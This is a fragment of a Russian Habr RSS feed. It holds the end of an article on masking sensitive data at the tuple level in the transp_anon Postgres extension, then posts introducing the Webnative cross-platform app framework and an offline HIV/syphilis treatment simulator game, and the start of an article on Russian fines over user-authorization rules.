style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Для простых кейсов, как &lt;code&gt;SELECT&lt;/code&gt; выше, все работает идеально. &lt;code&gt;Executor &lt;/code&gt;и &lt;code&gt;Planner &lt;/code&gt;сами решают, как максимально быстро выполнить запрос оптимальным способом. Но реальные запросы далеко не таковы...&lt;h3&gt;Почему не подходил Query Rewriting?&lt;/h3&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/91c/d1d/7ce/91cd1d7ce39af98e780d84177f075c84.png width=327 height=154 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/91c/d1d/7ce/91cd1d7ce39af98e780d84177f075c84.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/91c/d1d/7ce/91cd1d7ce39af98e780d84177f075c84.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Как только начали тестировать реальные запросы в реальных сценариях использования, то сразу стали получать критические проблемы с утечкой данных. Что, например, произойдет, если пользователь выполнит один из следующих сценариев?&lt;ul&gt;&lt;li&gt;&lt;p&gt;Вызов процедур и функций (и, не дай Бог, функции написаны на C...)&lt;li&gt;&lt;p&gt;Использование prepared statements&lt;li&gt;&lt;p&gt;Запросы к VIEW&lt;li&gt;&lt;p&gt;Наследуемые таблицы&lt;/ul&gt;&lt;p&gt;Если со временем мы и научились перехватывать сценарии выше, то на каких-нибудь более комплексных сценариях все ломалось, например:&lt;pre&gt;&lt;code class=sql&gt;CREATE VIEW complex_people_view AS &#xA;  SELECT concat(id::text, 2) AS mixed_id, data || &amp;#39;some_postfix&amp;#39; AS masked_data &#xA;  FROM people;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Чтобы понять, что внутри строковых конкатенаций спрятана маскируемая колонка, нужен полноценный парсер, способный распутать граф зависимостей внутри СУБД. И чем больше кейсов мы проверяли, тем больше понимали, что &lt;strong&gt;подход с подменой запроса – это тупик&lt;/strong&gt;, который тяжело поддерживать без риска утечки данных.&lt;h3&gt;Наше решение: маскирование на этапе выдачи кортежа.&lt;/h3&gt;&lt;p&gt;Мы задумались о том, как же все-таки прогарантировать 100% защиту от утечки данных. Как не выдать конфиденциальные данные, несмотря на сложность SQL-запроса? Что если у пользователя расширение работает напрямую с Postgres API?&lt;p&gt;Решение было на поверхности: зачем маскировать сам запрос, если можно маскировать сами данные! Когда Executor обращается к данным, он делает это через AM (Access Methods), например как slot_getnext, и мы перехватываем этот процесс. Мы получаем кортеж, смотрим в системный каталог(pg_seclabels), проверяем, есть ли для данного Relation правила маскировки, и модифицируем значение в кортеже. Выглядит это примерно так:&lt;pre&gt;&lt;code class=sql&gt;typedef struct MaskingAmWrapper&#xA;{&#xA;    TableAmRoutine          base;   /* copy of the original AM */&#xA;    const TableAmRoutine    *orig;  /* pointer to the original AM */&#xA;    ParsedSeclabels*    rules; /* cached masking rules */&#xA;} MaskingAmWrapper;&#xA;&#xA;static bool&#xA;transp_anon_generic_getnextslot(TableScanDesc scan,&#xA;                                ScanDirection direction,&#xA;                                TupleTableSlot *slot)&#xA;{&#xA;    MaskingAmWrapper *wrapper = (MaskingAmWrapper *) scan-&amp;gt;rs_rd-&amp;gt;rd_tableam;&#xA;    bool ok = wrapper-&amp;gt;orig-&amp;gt;scan_getnextslot(scan, direction, slot);&#xA;&#xA;    if (!ok)&#xA;        return false;&#xA;&#xA;    if (transp_anon_mask_slot(scan-&amp;gt;rs_rd, slot, wrapper-&amp;gt;rules))&#xA;    {&#xA;        ExecClearTuple(slot);&#xA;        ExecStoreVirtualTuple(slot);&#xA;    }&#xA;    return true;&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Для Postgres этот процесс становится абсолютно прозрачным. Планировщик и исполнитель думают, что работают с самыми обычными данными из таблицы. Нам больше не надо парсить сложные запросы, раскручивать вложенные VIEW. Любой доступ к таблице, как бы он глубоко ни был спрятан, всё равно будет проходить через наши обертки.&lt;p&gt;Однако проблемы выплыли в другом месте.&lt;h3&gt;Производительность&lt;/h3&gt;&lt;p&gt;С новым подходом всё было здорово, но поскольку маскировка стала работать в Postgres куда глубже, мы теряем контекст SQL-запроса. Мы попросту больше не знаем, какие именно колонки запросил пользователь и какие строки должны быть отфильтрованы.&lt;h3&gt;Проблема 1:&lt;/h3&gt;&lt;p&gt;сделаем таблицу:&lt;pre&gt;&lt;code class=sql&gt;CREATE TABLE test_table (col1 text, col2 text, col3 text, col4 text);&#xA;-- на все колонки создадим правила маскировки&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;и выполним запрос:&lt;pre&gt;&lt;code class=sql&gt;SELECT col1 FROM test_table;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;transp_anon 1.0&lt;/strong&gt; видел, что запрашивается только колонка col1, и подменял только ее, другие маскировки в запросе не участвовали.&lt;p&gt;&lt;strong&gt;transp_anon 2.0 &lt;/strong&gt;не знал, что нужно пользователю, – он видел только данные и какие маскировки применять.&lt;p&gt;Если в качестве маски используются легковесные константы (например MASKED WITH VALUE &amp;#39;hidden&amp;#39;), то разница незаметна. Но если использовать тяжелые функции псевдо-анонимизации, внутри которых зашита логика хэширования, обращения к словарям, то разница улетала в космос.&lt;h3&gt;Проблема 2:&lt;/h3&gt;&lt;p&gt;Что если запрос будет выглядеть так:&lt;pre&gt;&lt;code class=sql&gt;SELECT  FROM test_table WHERE masked_col3 = &amp;#39;И*Н&amp;#39; AND masked_col2 = &amp;#39;И***ИЧ&amp;#39;;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Когда кортеж попадает в slot с диска, он уходит на фильтрацию. В псевдокоде это выглядит так:&lt;pre&gt;&lt;code class=sql&gt;if (transp_anon.mask_func(tuple.col3) != &amp;#34;И**Н&amp;#34;) { return false; }&#xA;    if (transp_anon.mask_func(tuple.col2) != &amp;#34;И***ИЧ&amp;#34;) { return false; }&#xA;    return true;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Очевидно, если не прошло первое условие, то не нужно проверять второе, да и вообще, не нужно маскировать данные. Но в нашем случае маскировка прошла еще до этапа фильтрации, и это тоже негативно влияло на производительность.&lt;h3&gt;Красивое решение производительности: Custom Scan&lt;/h3&gt;&lt;p&gt;Для решения проблемы мы используем Custom Scan. Этот механизм позволяет вмешаться в процесс построения плана запроса и заменить стандартные методы сканирования на кастомные. Благодаря внедрению Custom Scan в transp_anon мы смогли вернуть контекст маскирования, сохранив при этом надежность маскирования на уровне кортежей.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Проекция колонок:&lt;/strong&gt; Теперь на этапе планирования наш &lt;code&gt;Custom Scan&lt;/code&gt; узел точно знает, какие именно колонки реально затребованы в &lt;code&gt;SELECT&lt;/code&gt;. Мы динамически отключаем вызовы маскирующих функций для тех колонок, которые физически не участвуют в формировании ответа.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ленивое маскирование и Pushdown-фильтры:&lt;/strong&gt; Мы научили transp_anon координировать маскирование с фильтрами. Если строка не проходит условия выборки, тяжелые псевдо-функции анонимизации для неё просто не вызываются.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;В итоге это позволило совместить в transp_anon безопасность и скорость работы!&lt;/strong&gt;&lt;h3&gt;Заключение&lt;/h3&gt;&lt;p&gt;Перенос логики маскирования с уровня синтаксической перезаписи SQL-запросов на уровень физических кортежей с использованием &lt;code&gt;Custom Scan&lt;/code&gt; позволил нам закрыть все критические бреши в безопасности &lt;code&gt;transp_anon&lt;/code&gt;. Теперь ни сложные &lt;code&gt;View&lt;/code&gt;, ни &lt;code&gt;prepared statements&lt;/code&gt;, ни вложенные вызовы функций не приведут к случайной утечке защищаемых данных.&lt;p&gt;А как вы решаете задачу маскирования данных в своих проектах? Сталкивались ли с утечками при использовании стандартных View? Поделитесь опытом в комментариях!&lt;hr&gt;&lt;p&gt;Другие статьи о нововведениях релиза СУБД Tantor Postgres 18 (список пополняется):&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/companies/tantor/articles/1035568/&gt;СУБД Tantor Postgres 18: обзор улучшений для 1С&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/companies/tantor/articles/1023250/&gt;CSN vs MVCC Postgres: решаем проблему Long Fork аномалии и причем тут деградация Postgres при тысячах SAVEPOINT‑ов&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/companies/tantor/articles/1044180/&gt;pg_ilm — гибрид кладовщика с градусником для ваших данных&lt;/a&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/tantor/articles/1046107/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046107</guid>
      <pubDate>Wed, 10 Jun 2026 16:14:59 +0000</pubDate>
    </item>
    <item>
      <title>Я устал от Electron, Tauri и Neutralino — и случайно сделал… лучше?</title>
      <link>https://habr.com/ru/articles/1046187/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046187</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h2&gt;Всё началось с, казалось бы, простого желания&lt;/h2&gt;&lt;p&gt;Мне хотелось написать небольшое приложение. Я работаю fullstack‑разработчиком, поэтому для разработки я решил использовать web‑технологии. Мне хотелось, чтобы я мог написать код один раз, и чтобы он запускался на всех моих устройствах (windows, linux, android).&lt;h2&gt;Самое главное: написать приложение быстро&lt;/h2&gt;&lt;p&gt;Мне хотелось использовать готовые инструменты. Я был уверен, что их мне будет достаточно. Посмотрел на существующие решения: electron, neutralinojs, apache cordova, tauri, capacitor, ... Все они мне не нравились по разным причинам. Разберём основные моменты:&lt;p&gt;&lt;strong&gt;Electron&lt;/strong&gt; — в каждое приложение (даже в мой hello world) запихивает chrome (130mb). Для моего простейшего приложения — это очень плохо. Не умеет упаковываться в мобильное приложение.&lt;p&gt;&lt;strong&gt;Neutralinojs&lt;/strong&gt; — backend нужно писать на c++, также не умеет в мобилки.&lt;p&gt;&lt;strong&gt;Apache cordova, capacitor&lt;/strong&gt; — умеют упаковываться только в мобилки. Capacitor умеет упаковываться (с помощью electron) в десктоп, но проблему electron мы обсудили.&lt;p&gt;&lt;strong&gt;Tauri&lt;/strong&gt; — хороший инструмент. Но он не для меня, не хочу писать на rust. Хочу всё приложение писать на typescript, к которому привык. Порог входа этого инструмента слишком высокий&lt;p&gt;&lt;strong&gt;Wails&lt;/strong&gt; — тоже хороший, но использует Go.&lt;p&gt;&lt;strong&gt;PWA&lt;/strong&gt; — хочется именно нативное приложение, которое можно было бы распространять в google play + проблема десктопа остаётся.&lt;p&gt;В общем, мне не нравилось, что при выборе мне всегда нужно с чем‑то мириться. Я подумал: &lt;em&gt;а что если просто взять системный WebView и Node.js, и склеить их вместе?&lt;/em&gt;&lt;h2&gt;Если не нашёл подходящее чужое, то напишу своё?&lt;/h2&gt;&lt;p&gt;В какой‑то момент я решился погрузиться в разработку. Спустя вот уже два года (от идеи до работающей реализации), я представляю вам:&lt;p&gt;&lt;strong&gt;&lt;em&gt;Webnative — Build Web, Ship Anywhere (такой слоган придумал)&lt;/em&gt;&lt;/strong&gt;&lt;h3&gt;Фреймворк объединяет лучшие стороны остальных других инструментов:&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Не тащит за собой chrome.&lt;li&gt;&lt;p&gt;Позволяет использовать js/ts и на бэке и на фронте.&lt;li&gt;&lt;p&gt;Одна кодовая база для всех платформ сразу.&lt;li&gt;&lt;p&gt;Абстракция апи от реальной реализации на платформах.&lt;li&gt;&lt;p&gt;Старается изо всех сил дать ощущение «работает как магия» — удобный dx.&lt;/ol&gt;&lt;h2&gt;Главная цель проекта -&lt;/h2&gt;&lt;p&gt;позаботиться о fullstack разработчиках, дать им удобный и простой инструмент для сборки приложений под любые платформы.&lt;p&gt;На данный момент поддерживаются &lt;strong&gt;linux, windows и android&lt;/strong&gt;. Далее планирую поддерживать и остальные платформы:&lt;strong&gt; macos, ios&lt;/strong&gt;.&lt;h2&gt;Как начать пользоваться:&lt;/h2&gt;&lt;p&gt;&lt;code&gt;npm install -g &lt;a class=mention href=https://habr.com/users/mindw1n&gt;@mindw1n&lt;/a&gt;/webnative&lt;/code&gt;&lt;p&gt;&lt;code&gt;webnative init my-app &amp;amp;&amp;amp; cd my-app&lt;/code&gt;&lt;p&gt;&lt;code&gt;webnative build linux&lt;/code&gt;&lt;h4&gt;Всё! Через 7 секунд у тебя готовый AppImage.&lt;/h4&gt;&lt;p&gt;Довольно простой синтаксис: webnative build &amp;lt;platform&amp;gt;. При этом &amp;lt;platform&amp;gt; — это windows, linux, android или all (все по очереди).&lt;h3&gt;Структура проекта тоже очень простая:&lt;/h3&gt;&lt;p&gt;&lt;code&gt;my-app/&lt;/code&gt;&lt;p&gt;&lt;code&gt;app/ # любой фреймворк: React, Vue, Svelte, vanilla&lt;/code&gt;&lt;p&gt;&lt;code&gt;app/backend/ # Node.js, точка входа index.ts / index.js&lt;/code&gt;&lt;p&gt;&lt;code&gt;webnative.json # конфиг&lt;/code&gt;&lt;p&gt;Внутри app и backend есть по папке api, чтобы удобно абстрагировать специфичный для платформы код. Также я написал и опубликовал библиотеку webnative‑core, она позволяет необходимые апи для десктопа. Апи для мобильных устройств можно взять у Capacitor, они работают из коробки без проблем.&lt;h2&gt;Как это работает изнутри (только для очень любопытных)&lt;/h2&gt;&lt;p&gt;Если тебе интересно только «поставил и работает» — листай до следующего раздела. Здесь для тех, кто хочет понять, что происходит под капотом.&lt;p&gt;C++ хост‑процесс запускает два дочерних процесса: WebView с твоим фронтендом и Node.js с твоим бэкендом. C++ при запуске nodejs открывает pipe и передаёт fd процессу nodejs. Тот в свою очередь запускает http сервер и отправляет по трубе (pipe) данные:&lt;p&gt;&lt;code&gt;{ &amp;#34;port&amp;#34;: number, &amp;#34;key&amp;#34;: string }&lt;/code&gt;&lt;p&gt;Эти данные нужны для того, чтобы фронтенд мог напрямую разговаривать с бекендом по защищённому каналу. Защищён он ключом «key», который сервер генерирует и при запросе проверяет.&lt;p&gt;Всё максимально кастомизируемо: бекенд пишется разработчиком, фронт тоже. С++ нужен был только чтобы их подружить.&lt;p&gt;Думаю, остальные детали реализации я опишу уже в документации к проекту.&lt;h2&gt;Бенчмарки&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Давайте сравним&lt;/strong&gt; Webnative и Electron (самый популярный фреймворк для создания приложений на десктоп)&lt;p&gt;Все замеры — на реальных hello‑world проектах. webnative app с фронтендом и Node.js бэкендом против стандартного &lt;code&gt;electron-builder&lt;/code&gt;&lt;h3&gt;Время сборки&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;webnative build linux   —   7.4 сек&#xA;electron-builder        —   19.3 се&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Webnative собирается в &lt;strong&gt;2.6 раза быстрее&lt;/strong&gt;!&lt;h3&gt;Размер дистрибутива&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;webnative (fullstack AppImage)       —   36 МБ&#xA;webnative (frontend-only AppImage)   —   1.1 МБ&#xA;Electron AppImage                    —   130 МБ&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;36 МБ&lt;/strong&gt; против &lt;strong&gt;130 МБ &lt;/strong&gt;— потому что мы не тащим Chromium. А если бэкенд не нужен, то&lt;strong&gt; 1.1 МБ&lt;/strong&gt; — это просто нативное окно с WebKit внутри.&lt;h3&gt;Потребление RAM&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;webnative (+ системный WebKit)   —   ~300 МБ&#xA;Electron                         —   ~566 МБ&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Важная оговорка: WebKit в случае webnative — системный, он уже есть на машине. webnative его не устанавливает и не дублирует. Electron же тащит свой Chromium в каждое приложение отдельно.&lt;h2&gt;Заключение&lt;/h2&gt;&lt;p&gt;Если у Вас остались вопросы или вы хотите присоединиться к проекту, то вот ссылка на github проекта: &lt;a href=https://github.com/kl1ro/webnative.git rel=&#34;noopener noreferrer nofollow&#34;&gt;https://github.com/kl1ro/webnative.git&lt;/a&gt;&lt;p&gt;Также прикрепляю пример использования: &lt;a href=&#34;https://www.youtube.com/watch?v=BdnwlwOvEts&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;https://www.youtube.com/watch?v=BdnwlwOvEts&lt;/a&gt;&lt;p&gt;&lt;strong&gt;Спасибо, что дочитали это до конца! &lt;/strong&gt;Рад, что вам была интересна моя работа!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>mindw1n</author>
      <guid>https://habr.com/ru/articles/1046187/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046187</guid>
      <pubDate>Wed, 10 Jun 2026 16:10:34 +0000</pubDate>
    </item>
    <item>
      <title>Медицинское обучение через игру: симулятор лечения сифилиса и ВИЧ</title>
      <link>https://habr.com/ru/articles/1046185/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046185</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;В мире — &lt;a href=https://www.who.int/data/gho/data/themes/topics/data-on-syphilis rel=&#34;noopener noreferrer nofollow&#34;&gt;миллионы&lt;/a&gt; заражений сифилисом и ВИЧ, и цифра растёт. Но мой пост не об этом.&lt;br&gt;Я решил техническую задачу: как сделать медицинский образовательный инструмент, который работает офлайн, не требует бэкенда и не собирает данные пользователей, используя веб‑технологии JS. Ведь в медицине приватность — это требование.&lt;br&gt;&lt;br&gt;&lt;a href=https://github.com/marketglare/marketglare.github.io rel=&#34;noopener noreferrer nofollow&#34;&gt;Код&lt;/a&gt; открыт, &lt;a href=https://marketglare.github.io/ rel=&#34;noopener noreferrer nofollow&#34;&gt;лендинг и игры&lt;/a&gt; доступны по ссылке.&lt;br&gt;&lt;br&gt;При разработке я ориентировался на:&lt;br&gt;1. Анонимность — без сервера, без регистрации и сбора данных.&lt;br&gt;2. Мультиязычность. Без перезагрузки страницы.&lt;br&gt;3. Оптимизация. Возможность выбирать 30/60fps при двойном клике на старт (сбалансированный/производительный режимы)&lt;h3&gt;Архитектура&lt;/h3&gt;&lt;p&gt;index.html (лендинг)&lt;p&gt;├── /syph/index.html&lt;p&gt;└── /hiv/index.html&lt;p&gt;└── /…/..&lt;h3&gt;Особенность реализации&lt;/h3&gt;&lt;h4&gt;1. Ускоренная игровая механика. Сжатие времени: 30 секунд = 24 часа&lt;/h4&gt;&lt;p&gt;&lt;br&gt;Ускорение в 2880 раз &lt;em&gt;нужно,&lt;/em&gt; чтобы игрок за 5 минут ощутил неделю терапии. В реальной жизни, вирусная нагрузка растёт медленно, и последствия пропуска таблетки видны не сразу. В игре — уже через 30 секунд. Это и есть педагогическая цель: показать, как быстро всё идёт к критической точке при нерегулярном приёме либо его отсутствии. Иммунитет со временем восстанавливается, но медленно.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/aa8/122/c3e/aa8122c3ed693d10f5ddf29bc3a9a90e.png alt=&#34;Hiv simulator&#34; title=&#34;Hiv simulator&#34; width=3548 height=1754 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/aa8/122/c3e/aa8122c3ed693d10f5ddf29bc3a9a90e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/aa8/122/c3e/aa8122c3ed693d10f5ddf29bc3a9a90e.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Hiv simulator&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4&gt;2. Упрощенные схемы лечения&lt;/h4&gt;&lt;p&gt;Для удобства, сделал одну кнопку, запускающую прием лекарства. В реальности, схемы могут быть более индивидуальными и сложными.&lt;h4&gt;3. Количество инфекционных агентов&lt;/h4&gt;&lt;p&gt;2³⁰ — миллиард. Примерно столько в организме, через месяц после заражения. Сколько отрисовывать на экране? В симуляторе, одна трепонема символизирует целую популяцию,а старт начинается с 3–5 объектов. Почти сразу можно заметить, что чем раньше начинается лечение, тем выше вероятность успеха.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/465/5c3/b25/4655c3b25b350e2e6b1c74c162368aed.png alt=&#34;Syph. simulator&#34; title=&#34;Syph. simulator&#34; width=3558 height=1778 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/465/5c3/b25/4655c3b25b350e2e6b1c74c162368aed.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/465/5c3/b25/4655c3b25b350e2e6b1c74c162368aed.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Syph. simulator&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4&gt;4. При переключении вкладок: таймер идёт, а отрисовка останавливается&lt;/h4&gt;&lt;p&gt;&lt;br&gt;Для MVP — решил оставить как есть. Это — поведение браузера. &lt;h3&gt;Планы&lt;/h3&gt;&lt;p&gt;Добавить уровни сложности. В сложном режиме:&lt;br&gt;Запуск не с 3–5 единиц, а со 100 единиц&lt;br&gt;Вероятность перехода в спящую форму: 50%&lt;br&gt;Время в спящем режиме: 100–300 s.&lt;pre&gt;&lt;code class=javascript&gt;const CONFIG = {&#xA; gameday_s: 60,&#xA; division_period_real_s: 30,&#xA; divisionAnim_s: 1.2,&#xA; startCount: 1,&#xA; startCountMin: 3,        // минимальное количество бактерий при запуске   &#xA; startCountMax: 5,        // максимальное количество бактерий при запуске&#xA; maxSpirals: 1500,&#xA; killMaxCharges: 2,&#xA; killCooldownBetweenUses_s: 30,&#xA; sleepProbabilityOnKill: 0.3,       // вероятность перехода в защитную L-форму&#xA; sleepDurationRange_s: [60,180],   // время нахождения в спящей L-форме&#xA; lodThreshold: 150,&#xA; maxDetailedTubularSegments: 200,&#xA; minRenderIntervalMs: 1000/30,&#xA; highPerfRenderIntervalMs: 1000/60,&#xA; dynamicRenderScale: 0.75,&#xA; lowRenderScale: 0.5,&#xA; perfSamplingMs: 2000,&#xA; autoThrottleFPSDropThreshold: 40,&#xA; instancedBatchSize: 500&#xA;};&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Как вам идея? Будет ли она полезна в 2026 году, пока не изобрели вакцину?&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>marketglare</author>
      <guid>https://habr.com/ru/articles/1046185/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046185</guid>
      <pubDate>Wed, 10 Jun 2026 16:04:10 +0000</pubDate>
    </item>
    <item>
      <title>Как быть с авторизацией пользователей после новостей о штрафах</title>
      <link>https://habr.com/ru/articles/1046183/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046183</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Ни дня без новостях о новых штрафах и ограничениях.&lt;p&gt;9 июня во всех порталах разлетелась новость о том, что Госдума одобрила штрафы за авторизацию пользователей через иностранные сервисы. Что с этой новостью не так? В тексте была указана ссылка на законопроект № 1110676-8 &lt;a href=https://sozd.duma.gov.ru/download/1f163f6d-e457-6d8e-b2d7-55ea2727b1c6 rel=&#34;noopener noreferrer nofollow&#34;&gt;вот с таким текстом&lt;/a&gt;. При этом текст, действительно, вносит изменения в ряд федеральных законов, но ни о каких штрафах речи там не было. &lt;p&gt;&lt;strong&gt;Однако в этот же день Госдума приняла в третьем чтении законопроект №1069392-8 &lt;/strong&gt;&lt;a href=https://sozd.duma.gov.ru/download/1f164978-9d40-6eb8-aa67-c527a49f3837 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;вот с таким текстом&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; - и про штрафы речь шла именно в нем.&lt;/strong&gt;&lt;p&gt;Вероятно, одни журналисты ошиблись, поставили ссылку не на тот законопроект, а затем ссылку репостнули все остальные. &lt;p&gt;&lt;strong&gt;Законопроект ввел в КоАП новую статью 13.55 «Неисполнение обязанности по проведению авторизации пользователей сети “Интернет” при предоставлении доступа к информации», которая предусматривает следующие штрафы:&lt;/strong&gt;&lt;p&gt;Граждане от 10 000 до 20 000 руб.&lt;p&gt;Должностные лица от 30 000 до 50 000 руб.&lt;p&gt;Юридические лица от 500 000 до 700 000 руб.&lt;p&gt;Закон ничего не говорит об увеличении суммы за повторное нарушение. Но есть риск, что вас могут оштрафовать несколько раз за одно и то же, если РКН проведет несколько &amp;#34;контрольных закупок&amp;#34;, то есть несколько сессий авторизации на вашем портале.&lt;p&gt;При этом законопроект не вводит новые нормы про авторизацию (они уже были предусмотрены п. 10 ст. 8 149-ФЗ), а только предусматривает ответственность (причем, достаточно суровую) за неисполнение. &lt;p&gt;Итак, начнем с того, что в законодательстве вообще отсутствует норма, которая определяет, что такое &lt;strong&gt;авторизация&lt;/strong&gt; (это значит, что ведомства при принятии решений о фактах нарушений и назначении штрафов будут руководствоваться &lt;strong&gt;общедоступными источниками - словарями, какими-нибудь локальными актами и т.д.&lt;/strong&gt;). &lt;p&gt;Например, по энциклопедии Касперского, авторизация - процесс предоставления пользователю или группе пользователей определенных разрешений, прав доступа и привилегий в компьютерной системе.&lt;p&gt;Т.к. в законе нет отсылок к терминам &lt;strong&gt;“регистрация”, “аутентификация”, “идентификация”&lt;/strong&gt;, то РКН будет смотреть на процесс авторизации - то есть как пользователь получает доступ к закрытой части сайта.&lt;p&gt;Из забавного: по идее, пользователь может зарегистрироваться с применением каких угодно данных, а вот авторизацию нужно будет проводить уже только с применением нормы закона.&lt;p&gt;Исходя из п. 10 ст. 8 149-ФЗ, у нас осталось только 4 законных способа авторизации пользователя:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e89/7d4/0e1/e897d40e15196ce6e07b61bc82ea7c2d.png alt=&#39;&#34;Законные&#34; и &#34;незаконные&#34; способы авторизации&#39; title=&#39;&#34;Законные&#34; и &#34;незаконные&#34; способы авторизации&#39; width=966 height=352 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e89/7d4/0e1/e897d40e15196ce6e07b61bc82ea7c2d.png 780w,&#xA;       